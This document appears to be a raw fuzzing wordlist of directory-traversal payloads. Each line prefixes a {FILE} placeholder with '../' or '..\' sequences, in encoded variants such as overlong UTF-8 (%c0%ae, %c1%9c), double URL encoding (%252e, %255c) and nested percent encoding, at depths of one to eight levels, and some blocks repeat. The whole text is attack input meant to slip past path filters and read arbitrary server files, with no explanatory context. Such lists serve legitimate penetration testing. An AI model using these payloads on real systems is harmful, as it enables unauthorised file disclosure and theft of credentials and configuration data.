..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}
|
||||
..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}
|
||||
%25c0%25ae%25c0%25ae/{FILE}
|
||||
%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}
|
||||
%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}
|
||||
%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}
|
||||
%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}
|
||||
%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}
|
||||
%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}
|
||||
%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}
|
||||
%25c0%25ae%25c0%25ae%25c0%25af{FILE}
|
||||
%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}
|
||||
%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}
|
||||
%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}
|
||||
%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}
|
||||
%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}
|
||||
%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}
|
||||
%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}
|
||||
..%c1%9c{FILE}
|
||||
..%c1%9c..%c1%9c{FILE}
|
||||
..%c1%9c..%c1%9c..%c1%9c{FILE}
|
||||
..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}
|
||||
..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}
|
||||
..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}
|
||||
..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}
|
||||
..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}
|
||||
%c0%ae%c0%ae\{FILE}
|
||||
%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}
|
||||
%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}
|
||||
%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}
|
||||
%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}
|
||||
%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}
|
||||
%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}
|
||||
%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}
|
||||
%c0%ae%c0%ae%c1%9c{FILE}
|
||||
%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}
|
||||
%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}
|
||||
%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}
|
||||
%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}
|
||||
%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}
|
||||
%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}
|
||||
%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}
|
||||
..%25c1%259c{FILE}
|
||||
..%25c1%259c..%25c1%259c{FILE}
|
||||
..%25c1%259c..%25c1%259c..%25c1%259c{FILE}
|
||||
..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}
|
||||
..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}
|
||||
..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}
|
||||
..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}
|
||||
..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}
|
||||
%25c0%25ae%25c0%25ae\{FILE}
|
||||
%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}
|
||||
%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}
|
||||
%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}
|
||||
%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}
|
||||
%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}
|
||||
%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}
|
||||
%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}
|
||||
%25c0%25ae%25c0%25ae%25c1%259c{FILE}
|
||||
%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}
|
||||
%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}
|
||||
%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}
|
||||
%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}
|
||||
%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}
|
||||
%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}
|
||||
%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}
|
||||
..%%32%66{FILE}
|
||||
..%%32%66..%%32%66{FILE}
|
||||
..%%32%66..%%32%66..%%32%66{FILE}
|
||||
..%%32%66..%%32%66..%%32%66..%%32%66{FILE}
|
||||
..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}
|
||||
..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}
|
||||
..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}
|
||||
..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}
|
||||
%%32%65%%32%65/{FILE}
|
||||
%%32%65%%32%65/%%32%65%%32%65/{FILE}
|
||||
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
|
||||
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
|
||||
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
|
||||
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
|
||||
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
|
||||
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
|
||||
%%32%65%%32%65%%32%66{FILE}
|
||||
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}
|
||||
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}
|
||||
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}
|
||||
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}
|
||||
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}
|
||||
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}
|
||||
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}
|
||||
..%%35%63{FILE}
|
||||
..%%35%63..%%35%63{FILE}
|
||||
..%%35%63..%%35%63..%%35%63{FILE}
|
||||
..%%35%63..%%35%63..%%35%63..%%35%63{FILE}
|
||||
..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}
|
||||
..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}
|
||||
..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}
|
||||
..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}
|
||||
%%32%65%%32%65/{FILE}
|
||||
%%32%65%%32%65/%%32%65%%32%65/{FILE}
|
||||
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
|
||||
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
|
||||
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
|
||||
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
|
||||
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
|
||||
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
|
||||
%%32%65%%32%65%%35%63{FILE}
|
||||
%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}
|
||||
%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}
|
||||
%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}
|
||||
%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}
|
||||
%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}
|
||||
%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}
|
||||
%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}
|
||||
../{FILE}
|
||||
../../{FILE}
|
||||
../../../{FILE}
|
||||
../../../../{FILE}
|
||||
../../../../../{FILE}
|
||||
../../../../../../{FILE}
|
||||
../../../../../../../{FILE}
|
||||
../../../../../../../../{FILE}
|
||||
..%2f{FILE}
|
||||
..%2f..%2f{FILE}
|
||||
..%2f..%2f..%2f{FILE}
|
||||
..%2f..%2f..%2f..%2f{FILE}
|
||||
..%2f..%2f..%2f..%2f..%2f{FILE}
|
||||
..%2f..%2f..%2f..%2f..%2f..%2f{FILE}
|
||||
..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}
|
||||
..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}
|
||||
%2e%2e/{FILE}
|
||||
%2e%2e/%2e%2e/{FILE}
|
||||
%2e%2e/%2e%2e/%2e%2e/{FILE}
|
||||
%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
|
||||
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
|
||||
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
|
||||
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
|
||||
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
|
||||
%2e%2e%2f{FILE}
|
||||
%2e%2e%2f%2e%2e%2f{FILE}
|
||||
%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
..%252f{FILE}
|
||||
..%252f..%252f{FILE}
|
||||
..%252f..%252f..%252f{FILE}
|
||||
..%252f..%252f..%252f..%252f{FILE}
|
||||
..%252f..%252f..%252f..%252f..%252f{FILE}
|
||||
..%252f..%252f..%252f..%252f..%252f..%252f{FILE}
|
||||
..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}
|
||||
..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}
|
||||
%252e%252e/{FILE}
|
||||
%252e%252e/%252e%252e/{FILE}
|
||||
%252e%252e/%252e%252e/%252e%252e/{FILE}
|
||||
%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
|
||||
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
|
||||
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
|
||||
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
|
||||
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
|
||||
%252e%252e%252f{FILE}
|
||||
%252e%252e%252f%252e%252e%252f{FILE}
|
||||
%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
|
||||
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
|
||||
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
|
||||
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
|
||||
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
|
||||
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
|
||||
..\{FILE}
|
||||
..\..\{FILE}
|
||||
..\..\..\{FILE}
|
||||
..\..\..\..\{FILE}
|
||||
..\..\..\..\..\{FILE}
|
||||
..\..\..\..\..\..\{FILE}
|
||||
..\..\..\..\..\..\..\{FILE}
|
||||
..\..\..\..\..\..\..\..\{FILE}
|
||||
..%5c{FILE}
|
||||
..%5c..%5c{FILE}
|
||||
..%5c..%5c..%5c{FILE}
|
||||
..%5c..%5c..%5c..%5c{FILE}
|
||||
..%5c..%5c..%5c..%5c..%5c{FILE}
|
||||
..%5c..%5c..%5c..%5c..%5c..%5c{FILE}
|
||||
..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}
|
||||
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}
|
||||
%2e%2e\{FILE}
|
||||
%2e%2e\%2e%2e\{FILE}
|
||||
%2e%2e\%2e%2e\%2e%2e\{FILE}
|
||||
%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
|
||||
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
|
||||
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
|
||||
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
|
||||
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
|
||||
%2e%2e%5c{FILE}
|
||||
%2e%2e%5c%2e%2e%5c{FILE}
|
||||
%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
..%255c{FILE}
|
||||
..%255c..%255c{FILE}
|
||||
..%255c..%255c..%255c{FILE}
|
||||
..%255c..%255c..%255c..%255c{FILE}
|
||||
..%255c..%255c..%255c..%255c..%255c{FILE}
|
||||
..%255c..%255c..%255c..%255c..%255c..%255c{FILE}
|
||||
..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}
|
||||
..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}
|
||||
%252e%252e\{FILE}
|
||||
%252e%252e\%252e%252e\{FILE}
|
||||
%252e%252e\%252e%252e\%252e%252e\{FILE}
|
||||
%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
|
||||
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
|
||||
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
|
||||
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
|
||||
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
|
||||
%252e%252e%255c{FILE}
|
||||
%252e%252e%255c%252e%252e%255c{FILE}
|
||||
%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
|
||||
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
|
||||
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
|
||||
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
|
||||
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
|
||||
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
|
||||
../{FILE}
|
||||
../../{FILE}
|
||||
../../../{FILE}
|
||||
../../../../{FILE}
|
||||
../../../../../{FILE}
|
||||
../../../../../../{FILE}
|
||||
../../../../../../../{FILE}
|
||||
../../../../../../../../{FILE}
|
||||
..%2f{FILE}
|
||||
..%2f..%2f{FILE}
|
||||
..%2f..%2f..%2f{FILE}
|
||||
..%2f..%2f..%2f..%2f{FILE}
|
||||
..%2f..%2f..%2f..%2f..%2f{FILE}
|
||||
..%2f..%2f..%2f..%2f..%2f..%2f{FILE}
|
||||
..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}
|
||||
..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}
|
||||
%2e%2e/{FILE}
|
||||
%2e%2e/%2e%2e/{FILE}
|
||||
%2e%2e/%2e%2e/%2e%2e/{FILE}
|
||||
%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
|
||||
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
|
||||
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
|
||||
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
|
||||
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
|
||||
%2e%2e%2f{FILE}
|
||||
%2e%2e%2f%2e%2e%2f{FILE}
|
||||
%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
..%252f{FILE}
|
||||
..%252f..%252f{FILE}
|
||||
..%252f..%252f..%252f{FILE}
|
||||
..%252f..%252f..%252f..%252f{FILE}
|
||||
..%252f..%252f..%252f..%252f..%252f{FILE}
|
||||
..%252f..%252f..%252f..%252f..%252f..%252f{FILE}
|
||||
..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}
|
||||
..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}
|
||||
%252e%252e/{FILE}
|
||||
%252e%252e/%252e%252e/{FILE}
|
||||
%252e%252e/%252e%252e/%252e%252e/{FILE}
|
||||
%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
|
||||
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
|
||||
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
|
||||
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
|
||||
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
|
||||
%252e%252e%252f{FILE}
|
||||
%252e%252e%252f%252e%252e%252f{FILE}
|
||||
%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
|
||||
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
|
||||
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
|
||||
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
|
||||
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
|
||||
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
|
||||
..\{FILE}
|
||||
..\..\{FILE}
|
||||
..\..\..\{FILE}
|
||||
..\..\..\..\{FILE}
|
||||
..\..\..\..\..\{FILE}
|
||||
..\..\..\..\..\..\{FILE}
|
||||
..\..\..\..\..\..\..\{FILE}
|
||||
..\..\..\..\..\..\..\..\{FILE}
|
||||
..%5c{FILE}
|
||||
..%5c..%5c{FILE}
|
||||
..%5c..%5c..%5c{FILE}
|
||||
..%5c..%5c..%5c..%5c{FILE}
|
||||
..%5c..%5c..%5c..%5c..%5c{FILE}
|
||||
..%5c..%5c..%5c..%5c..%5c..%5c{FILE}
|
||||
..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}
|
||||
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}
|
||||
%2e%2e\{FILE}
|
||||
%2e%2e\%2e%2e\{FILE}
|
||||
%2e%2e\%2e%2e\%2e%2e\{FILE}
|
||||
